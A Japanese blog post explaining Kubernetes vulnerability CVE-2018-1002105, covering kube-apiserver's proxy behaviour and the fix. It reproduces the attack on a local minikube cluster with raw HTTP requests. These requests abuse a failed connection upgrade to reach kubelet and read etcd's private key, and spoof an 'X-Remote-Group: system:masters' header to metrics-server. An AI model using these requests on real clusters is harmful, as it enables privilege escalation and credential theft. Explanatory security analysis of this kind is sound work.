CVE-2018-1002105 の issue を読んで kube-apiserver に詳しくなろう！

脆弱性と聞くとワクワクしてきますね。実際にどんな悪さができてしまうのか、Criticalとなる脆弱性とはいかほどのものなのでしょう？？実際のところ、[ZDNet の記事](https://japan.zdnet.com/article/35129584/)においては、

> 「デフォルト設定では、すべてのユーザー（認証の有無にかかわらない）に対して、この権限昇格を可能にするディスカバリAPI呼び出しの実行が許可されている」という。つまり、この脆弱性について知っている人物であれば **誰でもKubernetesクラスタを手中に収めることができる**。

みたいなことが書いてあっていかにも怖そうです。本当でしょうかね？

## Kubernetes API Server (`kube-apiserver`)

今回の CVE の対象コンポーネントは `kube-apiserver` です。

![apiserver is central server](https://text.fraction.jp/uploads/upload_00352bc77512eaccc8786985554f7097.png)

`kube-apiserver` は上記の図のように、全てのコンポーネントからの API の受付口となるコンポーネントとなっています。矢印の向きにある通り、これらは全て `kube-apiserver` をサーバとした通信です。Kubernetes のアーキテクチャとしてこの情報の向きは決まっており、セントラルドグマと言っていいでしょう。

## kubernetes/issues/71411

ではでは、問題となる CVE について見てみましょう。

[CVE-2018-1002105 についての issue](https://github.com/kubernetes/kubernetes/issues/71411) がこの問題の一次情報です。まず一番信頼できる情報にあたるのが大事ですよね！そこにはこうあります。

> With a specially crafted request, users that are authorized to establish a connection through the Kubernetes API server to a backend server can then send arbitrary requests over the same connection directly to that backend, authenticated with the Kubernetes API server’s TLS credentials used to establish the backend connection.

はい、何言ってるのかさっぱりわかりませんね。わかってる人にはわかるけど、わからない人にはさっぱりわからない、という見本みたいな文章です。

## `kube-apiserver` はリバースプロキシとして「も」動作する

この問題を理解するには、`kube-apiserver` がリバースプロキシとして動作する場合がある、ということ知ってるかどうかが最初のキーポイントです。

Kubernetes のアーキテクチャのセントラルドグマは `kube-apiserver` をサーバとする一方向のデータフローです、と言っておきながら、何事にも例外はあるもので、以下の二つの場合において、バックエンドにそのリクエストをプロキシします。つまり、`kube-apiserver` がクライアントとなることがあります。

1.  `Pod` に対する `exec/attach/port_forward`
2.  aggregated API server へのリクエスト


`Pod` に対する `exec/attach/port_forward` は、わかりやすいですね、

```bash
$ k exec -ti metrics-server-557f5547c6-5rsqk -c metrics-server sh
/ # ls
apiserver.local.config  home                    sys
bin                     metrics-server          tmp
dev                     proc                    usr
etc                     root                    var
```

例えば、上記のような `kubectl exec ${POD_NAME}` はどう考えても `kube-apiserver` で完結することができません。実際のリクエストを `Pod` に送らなければその結果を取得することはできないからです。結果として以下のような経路で `kubectl` からのリクエストは `Pod` に届けられます。

![kubelet](https://text.fraction.jp/uploads/upload_81842c8dae8152196a0a2e0f3c418dc3.png)


`kubectl exec ${POD_NAME}` のリクエストは `kube-apiserver` から`kubelet` を経由して `Pod` に届けられます。

では、aggregated API server とはなんでしょう？aggregated API server とは、`kube-apiserver` を拡張する一つの手段です。Kubernetes の API を拡張する手段としては `CustomResourceDefinitions (CRD)` を利用した Operator パターンが有名ですが、そのパターンでは実現できない API を実装する手段です。

![aggregated api server](https://text.fraction.jp/uploads/upload_39216a4cf82678d023e7d4ab0ed6b30f.png)

上記の図にあるように、`kube-apiserver` に対して、API サーバをさらに追加するイメージです。この場合、実際の API リクエストに対するレスポンスはバックエンドが行い、 `kube-apiserver` はリバースプロキシとして動作します。よく知られている aggregated API server としては、`metrics-server` や、`service catalog` があります。

## プロキシ-バックエンド間は `kube-apiserver` の権限で接続される

Kubernetes のコンポーネント間は TLS 通信 + Client-Cert 認証が基本です。上記の `kube-apiserver` - `kubelet` 間および　`kube-apiserver` - `aggregated API server` 間、の通信は `kube-apiserver` をクライアントとした TLS 通信です。また、それぞれの通信はそれぞれの通信用の CA により認証された Client-Cert を利用して認証を行なっており、それぞれの通信で必要な権限への認可がされています。具体的には、

### `kube-apiserver` - `kubelet` 間

![kubelet](https://text.fraction.jp/uploads/upload_bf260d7b3693dc69c86740afa34a340a.png)

-   `kube-apiserver` に対して、`kubelet` の API [全操作](https://github.com/kubernetes/kubernetes/blob/4a6935b31fcc4d1498c977d90387e02b6b93288f/pkg/kubelet/server/server.go#L160-L174) に関する権限。
    -   ノード上の `Pod` 一覧の取得
    -   ノード上の `Pod` の spec の取得
    -   ノード上の `Pod` に対する `exec/attach/portforward`

ユーザの権限に関する認証、認可のチェックは `kube-apiserver` で行い、ユーザは許可された `kubelet` API の呼び出しのみを実行することが可能ですが、リバースプロキシとしての`kube-apiserver` は全ての `kubelet` API を呼び出し可能である点が注目する点です。

### `kube-apiserver` - `aggregated API server` 間

![aggregated API server](https://text.fraction.jp/uploads/upload_90a8211af1588984457d1677bc158b7f.png)

-   `kube-apiserver` に対して aggregated API server に対する Authentication Proxy としての権限
    -   Authentication Proxy とは、前段のプロキシに認証の肩代わりをさせる機能です。この場合は aggregated API server は `kube-apiserver` の送ってきた認証の結果を無条件で信用することになります。

ユーザは `kube-apiserver` で認証を行い、`kube-apiserver` はその認証情報をバックエンドである aggregated API server に伝えます。`kube-apiserver` はユーザのリクエストと、そのリクエストの送り主が誰であるか？ということをバックエンドに伝えるリバースプロキシとして動作します。

## 今回の脆弱性

> With a specially crafted request, users that are authorized to establish a connection through the Kubernetes API server to a backend server can then send arbitrary requests over the same connection directly to that backend, authenticated with the Kubernetes API server’s TLS credentials used to establish the backend connection.

では、今回の脆弱性の要約について、おさらいしてみましょう。適当にポイントだけ訳すと以下のようになります。

> 特別に細工したリクエストを使うことで、ユーザは 認証された`kube-apiserver` とバックエンド間の接続を直接利用して、バックエンドのサーバに対して好きなリクエストを送ることができます。

つまり、`kube-apiserver` - `kubelet` や、`kube-apiserver` - `aggregated API server` 間で `kube-apiserver` に許可されている権限で、それらバックエンドに好きなリクエストを送ることができちゃいます！

## 根本原因

[id:nekop](https://nekop.hatenablog.com/) さんが[一言でまとめてくれています](https://rheb.hatenablog.com/entry/openshift-20181204)。すなわち、

> WebSocketに遷移する際のHTTP Upgrade時に101 Switching Protocolsというステータスを正しくチェックしていないために、細工したリクエストを送信することで認証のバイパスが発生し、k8s cluster上の任意のPodに接続できたりcluster-admin権限での操作を可能とするというものです。

`kube-apiserver` のリバースプロキシとしての機能は単なる HTTP のリバースプロキシとしての機能だけではなく、`exec/attach/portforward` などを行うための `WebSocket` プロトコルに対するリバースプロキシの機能を備えています。そこのエラーハンドリングに問題があったため、ユーザが許可されているバックエンドへのリクエストに特権昇格が可能になるという脆弱性が発覚したのでした。

## 脆弱性の影響

この脆弱性を利用するためには少なくともバックエンドに対して `kube-apiserver` を通してリクエストを送る権限を持っていなければなりません。

### `kube-apiserver` - `kubelet` 間

この通信を利用した脆弱性を利用するためには少なくとも、`Pod` に対する `exec/attach/portforward` を行うことができる権限が必要となります。そしてこの脆弱性を利用することで 任意の `Pod` に対する `exec/attach/portforward` を実行する権限に昇格することができます。

![kubelet](https://text.fraction.jp/uploads/upload_0e3f055a9a4412a72a978d063c266c99.png)

この脆弱性が問題になるのは、例えば一部の `Namespace` の `Pod` のみに権限を持っているユーザがいる場合など、ユーザに相応の権限を絞っている場合です。(シングルユーザのクラスタや、無駄に `exec` の権限などをツールにつけていない人には関係なさそうです)

### `kube-apiserver` - `aggregated API server` 間

この通信を利用した脆弱性が実は、該当するクラスタにとっては致命的、関係ないクラスタには全く関係ない、というなかなか楽しいケースです。

この脆弱性を利用することでアタッカーは、バックエンドである aggregated API server、例えば `metrics-server` や `service catalog` の API を実行することができます。

`metrics-server` が公開している API はせいぜい `Node` や `Pod` のメトリクスの取得くらいなのでたいしたことは無いのですが、`service catalog` を公開していた場合、権限を持っていないアタッカーでも勝手に自分の (悪意のある) サービスを Kubernetes に追加したり、有料のサービスを勝手に使ったりすることができちゃいます。 OpenShift Online とかやばそうですね…。他人事ながら心配。

#### どんな権限を持ったユーザが？

> Default RBAC policy allows all users (authenticated and unauthenticated) to perform discovery API calls that allow this escalation against any aggregated API servers configured in the cluster.

と、ある通り、「[デフォルト設定](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#discovery-roles)では、すべてのユーザー（認証の有無にかかわらない）に対して、この権限昇格を可能にするディスカバリAPI呼び出しの実行が許可されている」と、書かれていますつまり、この Kubernetes の API エンドポイントにアクセスすることができる **すべてのユーザ** がこの脆弱性を利用可能です。上記の ZDNet が心配していたのもここですね。ただ、 「**誰でもKubernetesクラスタを手中に収めることができる**」って言うのはちょっと言い過ぎでしょう。

#### ディスカバリAPI

ちなみに、ディスカバリAPIとは何者でしょう？

それは、Kubernetes の API サーバがどの API 呼び出しに対応しているか、を知ることができる API です。`kubectl` で以下のコマンドで呼び出すことができます。

```bash
$ k api-versions
$ k api-resources
```

上記のコマンドは以下の `curl` コマンドと等価です。

```
$ curl -k https://${API_ENDPOINT}/apis
$ curl -k https://${API_ENDPOINT}/apis/${API_GROUP}/${API_VERSION}
```

デフォルトの設定では上記のエンドポイントは未認証のユーザに公開されているため、誰でも結果を取得することができます。

そして、ここがポイントなのですが、と、ある `${API_GROUP}` を実装している aggregated API server は、上記のディスカバリ API を `kube-apiserver` を通して公開しています。例えば aggregated API server である `metrics-server` は以下のエンドポイントを `kube-apiserver` を通して公開しています。以下のリクエストは `kube-apiserver` へのリクエストですが、実際のレスポンスは `metrics-server` が返しています。

```
$ curl -k https://${API_ENDPOINT}/apis/metrics.k8s.io/v1beta1
{
  "kind": "APIResourceList",
  "apiVersion": "v1",
  "groupVersion": "metrics.k8s.io/v1beta1",
  "resources": [
    {
      "name": "nodes",
      "singularName": "",
      "namespaced": false,
      "kind": "NodeMetrics",
      "verbs": [
        "get",
        "list"
      ]
    },
    {
      "name": "pods",
      "singularName": "",
      "namespaced": true,
      "kind": "PodMetrics",
      "verbs": [
        "get",
        "list"
      ]
    }
  ]
}%
```

検証の方ではこのエンドポイントを利用して、実際に `metrics-server` の API を呼び出してみたいと思います。

## CVE Fix パッチの確認

攻撃方法の検証をするためにはまず、この脆弱性をどう修正しているのを見るかが一番早いですね。この脆弱性は以下のパッチで修正されています。

-   https://github.com/kubernetes/kubernetes/pull/71412

主に修正されている関数は以下ですね。

```go
 // tryUpgrade returns true if the request was handled.
 func (h *UpgradeAwareHandler) tryUpgrade(w http.ResponseWriter, req *http.Request) bool {
 	if !httpstream.IsUpgradeRequest(req) {
 		klog.V(6).Infof("Request was not an upgrade")
 		return false
 	}
// ... 後略
```

HTTP の Upgrade を試みて、成功した場合はこの関数内で全ての処理は完結するようです。ちなみに `httpstream.IsUpgradeRequest` が `true` を返すのは HTTP のヘッダに `Connection: Upgrade` が含まれていた時みたいですね。

そして一番重要なところは以下のコードと思われます。

```go
if rawResponseCode != http.StatusSwitchingProtocols {
    // If the backend did not upgrade the request, finish echoing the response from the backend to the client and return, closing the connection.
    klog.V(6).Infof("Proxy upgrade error, status code %d", rawResponseCode)
    _, err := io.Copy(requestHijackedConn, backendConn)
    if err != nil && !strings.Contains(err.Error(), "use of closed network connection") {
        klog.Errorf("Error proxying data from backend to client: %v", err)
    }
    // Indicate we handled the request
    return true
}
```

新しく追加されたコードで HTTP のレスポンスのコードをチェックし、`http.StatusSwitchingProtocols` でなかった場合この関数を終了していますね。これがなかった場合、バックエンドは `Connection: Upgrade` に失敗した、と言っているのに `kube-apiserver` は `WebSocket` みたいなリクエストが続いていると誤解して、バックエンドに対して接続を確立したまま任意のデータを送ってしまいそうです。

これらから、攻撃を成立させるためには HTTP のヘッダに `Connection: Upgrade` を付与しつつも、実際には Connection Upgrade に失敗すれば良いということがわかりますね！

## 検証

それでは検証してみましょう。パブリックな k8s クラスタを攻撃すると流石に法に触れそうなので、自分のローカル環境にまだ対策が済んでいない k8s を用意します。minikube で。

```
$ minikube start --bootstrapper=kubeadm \
    --vm-driver=hyperkit \
    --kubernetes-version=v1.12.2
```

### `kubelet` への攻撃

#### 前準備

`kubelet` 攻撃用に、`Namespace: for-attacker` のみに `edit` の権限を持ったユーザ、`attacker` を用意します。

```
$ k create namespace for-attacker
$ k create serviceaccount attacker -n for-attacker
$ k create rolebinding attacker \
    --clusterrole edit \
    --namespace for-attacker \
    --serviceaccount for-attacker:attacker
$ secret=$(k get serviceaccount attacker -n for-attacker -o 'jsonpath={.secrets[0].name}')
$ export KUBE_TOKEN=$(k get secret \
    -n for-attacker \
    -o "jsonpath={.data.token}" \
    "$secret" \
    | openssl enc -d -base64 -A)
$ cat <<EOF > config
apiVersion: v1
kind: Config
clusters:
- cluster:
    certificate-authority: /Users/${USER}/.minikube/ca.crt
    server: https://$(minikube ip):8443
  name: minikube
contexts:
- context:
    cluster: minikube
    user: attacker
  name: minikube-attack
users:
- name: attacker
  user:
    token: ${KUBE_TOKEN}
current-context: minikube-attack
EOF
```

環境変数、`${KUBE_TOKEN}` に攻撃者用の `kube-apiserver` 接続のためのトークンを、`./config` には `kubectl` でテストするため用の KUBECONFIG を用意しました。

テストしてみたところ、問題なく他の `Namespace` への権限はないようですね。

```
$ export KUBECONFIG=./config
$ k get pod -n for-attacker
No resources found.
$ k get pod -n kube-system
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:for-attacker:attacker" cannot list resource "pods" in API group "" in the namespace "kube-system"
```

#### `kubelet` の API を呼び出してみる

それでは、本来権限がないはずの `attacker` さんが、`kubelet` の API を呼び出してみましょう。

まずは、土台となる `exec` を実行するために、ダミーで `Pod` をデプロイします。

```
$  k run base-of-attack \
    --image nginx \
    -n for-attacker \
    --restart=Never
pod/base-of-attack created
```

`openssl` コマンドを利用して `kube-apiserver` に対して接続を開始します。

```
$ openssl s_client -connect $(minikube ip):8443
```

無事、接続が成功したので、本来権限を持っている `Pod: base-of-attack` に対して `Connection: Upgrade` に失敗するリクエストを送ってやります。(${KUBE_TOKEN} の部分には実際のトークンを展開してください)

```
GET /api/v1/namespaces/for-attacker/pods/base-of-attack/exec HTTP/1.1
Host: minikube
Authorization: Bearer ${KUBE_TOKEN}
Connection: Upgrade

HTTP/1.1 400 Bad Request
Date: Mon, 10 Dec 2018 08:52:50 GMT
Content-Length: 52
Content-Type: text/plain; charset=utf-8

you must specify at least 1 of stdin, stdout, stderr
```

`exec` を実行するためにはオプションが足りないため、`400 Bad Request` が返ってきました、 **しかし接続はきれていません！！**

この状態からは `kube-apiserver` の接続を利用して `kubelet` に対して好きなリクエストを送ることが可能です。例えば `Pod` の一覧を取得する API をリクエストしてみましょう。

```
GET /pods HTTP/1.1
Host: minikube

HTTP/1.1 200 OK
Content-Type: application/json
Date: Mon, 10 Dec 2018 08:56:56 GMT
Transfer-Encoding: chunked

7591
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"
... (略)
```

ノード上で実行されている `Pod` の一覧が返ってきました。どうやら `etcd` も同じノードで実行されているようですね！(minikube ですかr)

では、etcd の 秘密鍵でも覗いてみましょうか…。(時間の都合上秘密鍵のパスは知っているものとします)

```
GET /exec/kube-system/etcd-minikube/etcd?command=cat&command=/var/lib/minikube/certs/etcd/server.key&input=1&output=1&tty=0 HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Host: minikube
Origin: http://minikube
Sec-WebSocket-Key: E4WSEcseoWr4csPLS2QJHA==
Sec-WebSocket-Version: 13
sec-websocket-protocol: v4.channel.k8s.io

��~�-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAyLPpS9fXJQ07to+4LPwELY7S1WQjVk2rQLgji2XTA43ACGoL
dqhcvMh0YP55EqdvVtEvVUpZ255CJLY6LnPzmYd/fYmMANF3F2+Db1Yliu8rQBAj
Ccb29bIG6daGs+gUvAK4MVj1g8jdP+H1+8srt9wgzLqdCG0athc+HoMpb4lBWRyx
...(中略)...
IG51AoGABUl61PIpfyNwbSviXoL16YVO8atqHE1c0BaeHupDkviH6ZswoUCZwZqX
xk2iDrn3hjdbJJpPnwzN/QTR6ond8wb0VF8qVr39oYdNXX0lb8YQYWOrMJd44ezJ
ievJfY31e2Es43auGqT9fCetK+0uxjcNxGYAVIL8NbGphFkZRMI=
-----END RSA PRIVATE KEY-----
�#{"metadata":{},"status":"Success"}��closed
```

見れました。ヤヴァイですねー。

と言うことで、本来は見る権限がないファイルを見ることができることが実証されてしまいました。`privileged` なコンテナからも任意のコマンドが実行可能なので、実質ノードの `root` を取ったも同じものですね！これはヒドイ！

```
$ k exec -it -n kube-system etcd-minikube \
    cat /var/lib/minikube/certs/etcd/server.key
Error from server (Forbidden): pods "etcd-minikube" is forbidden: User "system:serviceaccount:for-attacker:attacker" cannot get resource "pods" in API group "" in the namespace "kube-system"
```

本来はこうなるはずだったのに…。

### aggregated API server への攻撃

#### 前準備

攻撃対象の aggregated API server を用意します。今回は addon として簡単に追加できる `metrics-server` を利用しましょう。

```
$ minikube addons enable metrics-server
metrics-server was successfully enabled
```

この脆弱性は誰でも呼び出し可能な API からつくことができるので準備は以上です。

#### `metrics-server` の API を呼び出してみよう！

まずは `openssl` で接続し、、

```
$ openssl s_client -connect $(minikube ip):8443
```

リクエスト可能なパスに対して、本来必要のない `Connection: Upgrade` ヘッダを乗せて呼び出してみます。誰でもリクエスト可能な API なので `Authorization` ヘッダがいらないのが優しいですね。

```
GET /apis/metrics.k8s.io/v1beta1/nodes HTTP/1.1
Host: minikube
Connection: Upgrade

HTTP/1.1 200 OK
Content-Type: application/json
Date: Mon, 10 Dec 2018 09:26:53 GMT
Content-Length: 292

{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"metrics.k8s.io/v1beta1","resources":[{"name":"nodes","singularName":"","namespaced":false,"kind":"NodeMetrics","verbs":["get","list"]},{"name":"pods","singularName":"","namespaced":true,"kind":"PodMetrics","verbs":["get","list"]}]}
```

`200 OK` が返ってきました。本来ならばここで接続が切れてほしいところなのですが、なぜか接続状態が持続してますねー。さあ、この時点で権限 `kube-apiserver` と同格に昇格してますよ、`metrics-server` の API を呼び出してみましょう！

```
GET /apis/metrics.k8s.io/v1beta1/nodes HTTP/1.1
Host: minikube

HTTP/1.1 401 Unauthorized
Content-Type: application/json
Date: Mon, 10 Dec 2018 09:30:02 GMT
Content-Length: 129

{"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
```

何故か返ってくる `401`。あれ、俺は `kube-apiserver` と同格なんじゃなかったっけ(anonymousだけど)。

![aggregated API server](https://text.fraction.jp/uploads/upload_90a8211af1588984457d1677bc158b7f.png)

もう一度接続の概要図を見てみましょう。実は `kube-apiserver` - `metrics-server` 間の接続で許可されている権限は、`metrics-server` の API を呼び出すことができる権限ではなく、`metrics-server` に対する Authentication Proxy としての権限だったのですねー！これじゃバックエンドの API を任意に実行可能である、と言う攻撃を成立させることはできないですね！残念！

と、ここで思考を停止してもいいのですが、そもそも Authentication Proxy ってなんだったっけ、と言う。最初に書きました。繰り返します。

> Authentication Proxy とは、前段のプロキシに認証の肩代わりをさせる機能です。この場合は aggregated API server は `kube-apiserver` の送ってきた認証の結果を無条件で信用することになります。

```
つまり…どういうことだってばよ? (AA略
```

`X-Remote-User` および `X-Remote-Group` ヘッダを無条件に信用します。そのヘッダを無条件に信用するかどうかはその接続時のTLSのClient-Cert 認証の結果で担保します。

例えば、`X-Remote-Group: system:masters` と言うヘッダをつければ簡単に `cluster-admin` に昇格可能です。これは酷い。

```
GET /apis/metrics.k8s.io/v1beta1/nodes HTTP/1.1
Host: minikube
X-Remote-Group: system:masters
X-Remote-User: attacker

HTTP/1.1 200 OK
Content-Type: application/json
Date: Mon, 10 Dec 2018 09:45:50 GMT
Content-Length: 364

{"kind":"NodeMetricsList","apiVersion":"metrics.k8s.io/v1beta1","metadata":{"selfLink":"/apis/metrics.k8s.io/v1beta1/nodes"},"items":[{"metadata":{"name":"minikube","selfLink":"/apis/metrics.k8s.io/v1beta1/nodes/minikube","creationTimestamp":"2018-12-10T09:45:50Z"},"timestamp":"2018-12-10T09:45:00Z","window":"1m0s","usage":{"cpu":"137m","memory":"1572068Ki"}}]}
```

`/nodes` のメトリクスが取得できてしまいました…。前の方にも書きましたがクラスター自体を壊したりすることができる API を実装した aggregated API server とかがデプロイされていたら本当に酷いことになりますね、ナムー。

## まとめ

とりあえず今回の脆弱性を軽くまとめてみました。所感を言うと今回の脆弱性は関係する人にはボヤじゃすまないけど、関係ない人にはどうでもいい脆弱性ですね！（特にお家クラスターで一人で遊んでる人とか

以上です！みなさんくれぐれも悪用しないでくださいね。そしてクラスタ管理者さんはボヤボヤしてないですぐにクラスタをアップグレードしましょう！